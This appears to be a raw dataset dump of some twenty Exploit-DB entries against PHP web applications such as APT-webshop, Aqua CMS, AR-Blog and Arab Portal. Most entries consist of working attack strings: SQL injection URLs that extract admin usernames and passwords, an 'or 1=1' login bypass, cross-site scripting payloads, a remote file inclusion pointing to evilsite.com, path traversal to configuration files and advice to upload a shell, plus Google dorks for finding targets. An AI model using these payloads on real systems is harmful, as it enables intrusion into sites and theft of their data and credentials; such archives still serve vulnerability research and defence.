deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27590
Description: APT-webshop 3.0/4.0 - 'modules.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-04-10
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17425/info

APT-webshop is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

APT-webshop 3.0 light, 3.0 basic, and 4.0 pro are reported prone to these issues. Other versions may be vulnerable as well.

http://www.example.com/modules.php?warp=artikel&group=[SQL]
http://www.example.com/modules.php?warp=artikel&group=&seite=[SQL]
http://www.example.com/modules.php?warp=artikel&group=&seite=&id=[SQL]
Exploit-DB #14528
Description: APT-WEBSHOP-SYSTEM - 'modules.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-08-02
Author: secret

Exploit:
===============================================
APT-WEBSHOP-SYSTEM modules.php SQL injection
=============================================== 

  ____ ____ _____ ___   ____ ______   ____ ___   ___    _  __
  / __// __// ___// _ \ / __//_  __/  /  _// _ \ / _ |  / |/ /
 _\ \ / _/ / /__ / , _// _/   / /    _/ / / , _// __ | /    / 
/___//___/ \___//_/|_|/___/  /_/____/___//_/|_|/_/ |_|/_/|_/  
                               /___/                          

####################################################
# APT-WEBSHOP-SYSTEM modules.php SQL injection
####################################################
# Discovered by : secret
# Site          : http://swissfaking.net
# Dork          : powered by apt-webservice ;apt-webshop-system v3.0
# Vendor        : http://www.apt-ebusiness.com

# Exploit       : [site]/shop/modules.php?warp=artikel&group=x&seite=x&id=xxx(SQLINJECTION)


########################################################################################
Exploit-DB #10816
Description: Aptgp.1.3.0c - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-30
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Aptgp.v1.3.0c Cross Site Scripting Vulnerability                        |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Aptgp.v1.3.0c                                                           |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://127.0.0.1/aptgp/webm_stats.php?process=webm_login&webm_email=>"><ScRiPt%20%0a%0d>alert[PII_REDACTED]60)%3B</ScRiPt>&webm_[CREDENTIAL_REDACTED]-by-indoushka
| 2- http://127.0.0.1/aptgp/webm_stats.php?process=webm_login&webm_email=indoushka@hotmail.com&webm_password="+onmouseover=alert[PII_REDACTED]60)+
|  
================================   Dz-Ghost Team   ========================================
Greetz : Exploit-db Team (loneferret+Exploits+dookie2000ca)
all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 * www.hackteach.org
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * www.cyber-mirror.org
www.albasrah-forums.com * www.amman-dj.com * www.forums.ibb7.com * www.maker-sat.com * www.owned-m.com
www.vb.7lanet.com * www.3kalam.com * Stake (v4-team.com) * www.3kalam.com * www.dev-chat.com  
www.al7ra.com * Cyb3r IntRue (avengers team) * www.securityreason.com * www.packetstormsecurity.org
www.sazcart.com * www.best-sec.net * www.app.feeddigest.com * www.forum.brg8.com * www.zone-h.net
www.m-y.cc * www.hacker.ps * no-exploit.com * www.bug-blog.de * www.gem-flash.com * www.soqor.org
www.h4ckf0ru.com * www.bawassil.com * www.host4ll.com * www.hacker-top.com * www.xp10.me 
www.forums.soqor.net * www.alkrsan.net * blackc0der (www.forum.aria-security.com)  
SoldierOfAllah (www.m4r0c-s3curity.cc)www.arhack.net * www.google.com * www.np-alm7bh.com 
www.lyloo59.skyrock.com * www.sec-eviles.com * www.snakespc.com * www.kadmiwe.net * www.syrcafe.com 
www.mriraq.com * www.dzh4cker.l9l.org * www.goyelang.cn * www.h-t.cc * www.arabic-m.com * www.74ck3r.com 
r1z (www.sec-r1z.com) * omanroot.com * www.bdr130.net * www.zac003.persiangig.ir * www.0xblackhat.ir
www.mormoroth.net * www.securitywall.org * www.sec-code.com *
-------------------------------------------------------------------------------------------
Exploit-DB #12567
Description: Aqar Script 1.0 - Remote Bypass
Type: webapps
Platform: php
Date: 2010-05-11
Author: indoushka

Exploit:
========================================================================================
| # Title : Aqar Script V.1 Remote By pass Exploit
| # Author : indoushka
| # email : indoushka@hotmail.com
| # Home : www.iqs3cur1ty.com/vb
| # Script : Powered By AqarScript
| # Tested on: windows SP2 Fran챌ais V.(Pnx2 2.0) + Lunix Fran챌ais v.(9.4 Ubuntu)
| # Bug : Backup Dump
====================== Exploit By indoushka =================================
# Exploit :

<html dir=rtl>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
</head>

<body>
<table border="0" cellspacing="5" cellpadding="0">
<tr>
<td width="100%" colspan="3" valign="top" align="right">
<h1>찼챈횒횋 횉찼횎횒횩찾 - 횣횧횉횗 횙횩횗챠횊횎</h1>
</td>
<td width="100%" valign="top" align="right">
</td>
</tr>
<tr>
<td valign="top" align="right" nowrap>
<?php
include("./qa2ema.php");
?>
</td>
<meta http-equiv="Content-Language" content="ar-eg">
<td valign="top" align="right"><font face="Tahoma">횉책찼횉챨 횊횩 횦챙 찼챈횒횋
횉찼횎횒횩찾 횉찼횓횉횛횋 횊횣횧횉횗 횙횩횗챠횊횎<br>
횉채 횚횉횁 횉찼찼책 횓횉횛챠횋 횉횜횉횦횋 횉찾횉횩채 횉횜횉횦챠횋 횦챙 횛횦횒횋 횉찼횉횜횉횦횋 <br>
횙횎횩챈채 찾챈횑챈횕횋 횦챙 횉찼채횙횓횋 2<br>
<br>
<b><font size="1">찾횣 횎횒챠횉횎 횩횗챠찾 채횎</font></b></font>
</tr>
</table>
</body>
<ul>
<li><a href="http://127.0.0.1/Aqar/admin/aksam.php">횉찼횄횧횙횉찾</a></li>
<li><a href="http://127.0.0.1/Aqar/admin/amaken.php">횉찼횉찾횉횩채 횉찼횉횜횉횦챠횋</a></li>
</ul>
</html>

Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz :
Exploit-db Team : (loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
---------------------------------------------------------------------------------------------------------------
Exploit-DB #8432
Description: Aqua CMS - 'Username' SQL Injection
Type: webapps
Platform: php
Date: 2009-04-14
Author: halkfild

Exploit:
================================================================================

Found : halkfild
Dork : "Powered By Aqua Cms"
Vendor: http://www.aquacms.net/
Advisory URL: http://crackfor.me/bugtraq/aquacms.v1.1.txt
Visit : crackfor.me, forum.antichat.ru, raz0r.name
Mail : bugtraq[d0g]crackfor.me
Home : http://crackfor.me - online md5 crack service

================================================================================

  SQL-injections:
  Need: magic quotes = off


 vuln file: /droplets/functions/base.php
 vuln code:

65:// Check the status of the orders

if(isset($_COOKIE["userSID"])) {
$sqltable = $sitename."_orders";
$selck = $_COOKIE["userSID"];
mysql_select_db($database, $dbconnect);
$query_cartcheck = "SELECT SID FROM $sqltable WHERE SID = '$selck' AND status = 1";  
$cartcheck = mysql_query($query_cartcheck, $dbconnect) or die(mysql_error());
$row_cartcheck = mysql_fetch_assoc($cartcheck);
$totalRows_cartcheck = mysql_num_rows($cartcheck);

if ($totalRows_cartcheck != 0) {
 $user_ip_address = $_SERVER['REMOTE_ADDR'];
 $dt=date("YmdHis"); 
 $UID="$dt$user_ip_address";
 setcookie("userSID", $UID, time()+36000);
}

}


PoC: COOKIE: userSID='[foo]

users passwords: select concat_ws(0x3a3a,username,password)+from+aqua.[prefix_here]_users+--+

-----------------------------------------------------------------------------------


  Auth bypass
  Need: magic quotes = off

 vuln file: /admin/index.php
 vuln code:

10:
if (isset($_POST['username']) == TRUE) {
 $uusername = $_POST['username'];
 $upassword = $_POST['password'];
 $sqltable = $sitename."_users";
 mysql_select_db($database, $dbconnect);
 $query_getuser = "
 SELECT * 
 FROM $sqltable 
 WHERE username = '$uusername' 
 AND [CREDENTIAL_REDACTED]' 
 AND groups != '' 
 ";
 $getuser = mysql_query($query_getuser, $dbconnect) or die("Unable to select database");
 $row_getuser = mysql_fetch_assoc($getuser);
 $totalRows_getuser = mysql_num_rows($getuser);
 
 if ($totalRows_getuser == 1) {
  $uid = $row_getuser['id'];
  $uun = $row_getuser['username'];
  $ugr = $row_getuser['groups'];
  $setwsuser = $uid.":".$uun.":".$ugr; 
  //setcookie("wsuser", $setwsuser, time()+36000, '/');
  //header("Location: index.php");
 } 
 
// User logon: end
}


PoC: POST: username='[foo]
Exploit: POST: username=crackfor.me'+or+1=1+limit+1+--+ 

# milw0rm.com [2009-04-14]
Exploit-DB #2931
Description: AR Memberscript - 'usercp_menu.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-14
Author: ex0

Exploit:
#################################################################################################
# Author: ex0
# 
# ar_memberscript - remote file include vulnerability (all versions)
# 
# **There is no vendo patch, and doubt there will be. I havnt been able to get in touch with the
# vendor for 2 months**
# 
# ar_memberscript is a script used by many anime sites to manage their members, news, and some 
# content, in some cases "premium media".
#
# 
# Discovered: 10/22/06
# Published: 12/12/06
# 
# Enjoy it.
# 
#################################################################################################

Here is the vulnerable code:

usercp_menu.php
include ( "$script_folder/login_form2.php" );

www.someanimesite.com/member/usercp_menu.php?script_folder=http://evilsite.com

Dont take too much advantage of it :).

Dork: "Members Statistics" +"Total Members" +"Guests Online"

# Greetz; Caution, Raph13, Yeast, Xpontius and all former Inf Crew members & all XeN Members.
# IRC: irc.milw0rm.com:6667 #esk

# milw0rm.com [2006-12-14]
Exploit-DB #38015
Description: AR Web Content Manager (AWCM) - 'cookie_gen.php' Arbitrary Cookie Generation
Type: webapps
Platform: php
Date: 2012-11-08
Author: Sooel Son

Exploit:
source: https://www.securityfocus.com/bid/56465/info

AWCM is prone to an authentication-bypass and multiple security-bypass vulnerabilities.

Attackers can exploit these vulnerabilities to bypass certain security restrictions, perform unauthorized actions; which may aid in further attacks.

AWCM 2.2 is vulnerable; other versions may also be affected. 

Authentication Bypass:

http://www.example.com/awcm/cookie_gen.php?name=\'key\'&content=\'value\'
ex) http://targethost/awcm/cookie_gen.php?
name=awcm_member&content=123456

Security Bypass:

[form action=\"http://www.example.com/awcm/show_video.php?coment=exploit\"
method=\"post\"]
[input type=\"hidden\" name=\"coment\" value=\'insert
uninvited comments 2\' /]
[input type=\"submit\" value=\"Submit\"]
</form>
Exploit-DB #27642
Description: AR-Blog 5.2 - 'print.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-14
Author: ALMOKANN3

Exploit:
source: https://www.securityfocus.com/bid/17522/info

The ar-blog application is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 5.2 is vulnerable; other versions may also be affected.

http://www.example.com/print.php?id=<script>alert(1)</script>
Exploit-DB #27910
Description: AR-Blog 5.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-05-27
Author: black-code

Exploit:
source: https://www.securityfocus.com/bid/18120/info

AR-Blog is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

AR-Blog 5.2 is reported vulnerable. Other versions may be affected as well.

http://www.example.com/path/index.php?page=gb&count=next=[XSS]
http://www.example.com/path/index.php?page=gb&count=[XSS]
http://www.example.com/path/index.php?page=showtopis&month=mo&year=Year_the_news=[XSS]
http://www.example.com/path/index.php?page=showtopis&month=mo&year=[XSS]
http://www.example.com/path/index.php?page=showtopis&month=mo=[XSS]
http://www.example.com/path/index.php?page=showtopis&month=[XSS]
Exploit-DB #11524
Description: Arab Cart 1.0.2.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-02-22
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Arab Cart Version 1.0.2.0 Mullti Vulnerability            
| # Author   : indoushka                                                               
| # email    : indoushka@dgsn.dz                                                   
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)                                                                              |
| # Script   : Copyright ArabCART © .2010     
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Mullti    
|                                                                  
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1- XSS
 
http://server/arabCart/showimg.php?id=<img+src=http://server/acrobat.gif+onload=alert[PII_REDACTED]60)>&sid=8207c6aca4d21740c20f51527ccb3f7a
 
 2- SQL injection
 
 http://server/arabCart/showimg.php?id=%00'
 
 3- Blind SQL/XPath injection
 
 http://server/arabCart/showimg.php?id=8+and+31337-31337=0+--+ 

Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * Xproratix ==========================================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (Tinjah.com) * Yashar (sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (v4-team.com) * www.securitywall.org * r1z (www.sec-r1z.com)
www.securityreason.com * www.packetstormsecurity.org * www.m-y.cc * Cyb3r IntRue (avengers team)
www.hacker.ps * no-exploit.com * www.bawassil.com * www.xp10.me * www.mormoroth.net 
www.alkrsan.net * www.kadmiwe.net * www.arhack.net   
--------------------------------------------------------------------------------------------------------------
Exploit-DB #11339
Description: Arab Network Tech. (ANT) CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-06
Author: Tr0y-x

Exploit:
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

:::::::::::::::::::::::::

Exploit Title : Arab Network Tech. (ANT) CMS SQL Injection

Author : Tr0y-x

Script Site : www.antpage.com<http://www.antpage.com/>

Version : All Versions

Tested on : Windows & Linux

Dork : inurl:apages.php

My home : WwW.SeC-WaR.CoM<http://www.sec-war.com/>

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

:::::::::::::::::::::::::

=====================================Exploit===============

=========================

www.[Server}.com/[Path]/[SQL<http://www.[server%7d.com/[Path]/[SQL>]

Example

www.[Server}.com/[Path]/apages.php?sgroup<http://www.[server%7d.com/[Path]/apages.php?sgroup>=-

10+UniOn+AlL+SeLeCt+1,2,concat

(username,0x3a,password,0x3a),4,5,6,7,8,9,10+from+admins--

Then Go to Admin panel Default www.[Server}.com/<http://www.[server%7d.com/>

[Path]/admin

And Upload Shell xD

Have Fun :D

===========================================================

=========================

Greetz to : Alnjm33 - Predator - xXx - XR57 - Ahmadso -

Black_Angle & All Sec-War Members
Exploit-DB #27501
Description: Arab Portal 2.0 - 'download.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-28
Author: o.y.6

Exploit:
source: https://www.securityfocus.com/bid/17285/info
 
ArabPortal System is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 
 
ArabPortal System 2.0 is reported to be vulnerable; other versions may also be affected.

http://www.example.com/download.php?action=byuser&userid=1&title=D3vil-0x1</title><XSS>CODE</XSS>
Exploit-DB #26785
Description: Arab Portal 2.0 - 'Link.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-12
Author: stranger-killer

Exploit:
source: https://www.securityfocus.com/bid/15820/info

Arab Portal is prone to multiple SQL injection vulnerabilities. These are due to a lack of proper sanitization of user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/Arab_Portal_v.2.0_beta_2/link.php?action=list&cat_id=5&',
'010','Hacker','0')/*
Exploit-DB #27500
Description: Arab Portal 2.0 - 'online.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-28
Author: o.y.6

Exploit:
source: https://www.securityfocus.com/bid/17285/info

ArabPortal System is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

ArabPortal System 2.0 is reported to be vulnerable; other versions may also be affected.

http://www.example.com/online.php?&title=D3vil-0x1</title><XSS>CODE</XSS>
Exploit-DB #7019
Description: Arab Portal 2.1 (Windows) - Remote File Disclosure
Type: webapps
Platform: php
Date: 2008-11-06
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####                Arab Portal v2.1 Remote File Disclosure (Win32)              ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (R3d.W0rm (Sina Yazdanmehr))                                      #
#Discovered by : R3d.W0rm (Sina Yazdanmehr)                                         #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm (Sina Yazdanmehr) - Hadi Kiamarsi       #
#####################################################################################
#                                                                                   #
#Download : www.arabportal.net                                                      #
#                                                                                   #
#DORK : Powered by:   Arab Portal  inurl:mod.php?mod=html                           #
#                                                                                   #
#####################################################################################
#                                       [Bug]                                       #
#                                                                                   #
#http://Site/[path]/mod.php?mod=html&modfile=show&file=..\File.Type                 #
#                                                                                   #
#Config File :                                                                      #
#http://Site/[path]/mod.php?mod=html&modfile=show&file=..\..\..\admin\conf.php      #
#                                                                                   #
#Note : This bug only work on windows servers .                                     #
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
###################################### TNX GOD ######################################

# milw0rm.com [2008-11-06]
Exploit-DB #34127
Description: Arab Portal 2.2 - 'members.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-10
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/40735/info

Arab Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Arab Portal 2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/apt/members.php?action=msearch&by=[SQL]
Exploit-DB #37594
Description: Arab Portal 3 - SQL Injection
Type: webapps
Platform: php
Date: 2015-07-13
Author: ali ahmady

Exploit:
## In The Name Of ALLAH ##
# title : Arabportal 3 SQL injection vulnerability
# Exploit Title: Arabportal 3 registeration section SQL injection vulnerability
# Google Dork: inurl:members.php?action=signup
# Date: 2015/07/10 (july 10th)
# Exploit Author: ali ahmady -- Iranian Security Researcher (snip3r_ir[at]hotmail.com)
# Vendor Homepage: www.arabportal.net
# Software Link: www.arabportal.net
# Version: 3
# Tested on: linux
# greetings : VIRkid, b0x, phantom_x, Ch3rn0by1 


members.php?action=singup

POST parameter "showemail" is vulnerable to error based SQLi attack

................................................................................

1' AND (SELECT 1212 FROM(SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.tables GROUP BY x)a) AND 'ali-ahmady'='ali-ahmady


video : https://youtu.be/5nFblYE90Vk

good luck